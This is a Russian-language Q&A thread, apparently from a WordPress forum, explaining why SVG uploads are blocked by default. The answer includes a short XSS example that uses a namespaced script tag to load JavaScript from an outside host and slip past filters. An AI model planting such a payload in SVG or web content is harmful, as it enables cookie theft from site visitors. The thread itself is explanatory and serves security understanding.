По каким причинам безопасности svgs блокируется в загрузчике медиа?

15

Я вижу, что SVG по умолчанию заблокированы в загрузчике мультимедиа, и вы должны добавить его как поддерживаемый тип MIME в functions.php. Какие причины безопасности стоят за этим?

Клаудиу Крянгэ
источник

Ответы:

17

SVG может содержать JavaScript . JavaScript может быть использован для кражи куки или других сомнительных действий . Его даже можно «спрятать» в пространствах имен:

<html xmlns="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

источник

Это очень сложно отфильтровать во время загрузки, поэтому по умолчанию это не разрешено.

Фуксия
источник
Я думал, что смысл пространства имен ø:scriptзаключается в том, чтобы избежать коллизии имен тегов, то есть не следует обрабатывать их scriptи, следовательно, ничего не делать. Что заставляет ø:scriptтег пространства имен трактоваться как scriptтег без пространства имен ? Или SVG также позволяют встраивать не-JS XML-парсеры?
JAB
@JAB пространство имен http://www.w3.org/1999/xhtmlделает этот экземпляр сценария эквивалентом обычного сценария.
fuxia
О, теперь я понимаю. Неявное пространство имен для тегов HTML таково http://www.w3.org/1999/xhtml, что вы можете создать ссылку на этот URL и использовать ее в качестве префикса пространства имен для таких тегов, и анализаторы XHTML будут обрабатывать их как обычные теги.
JAB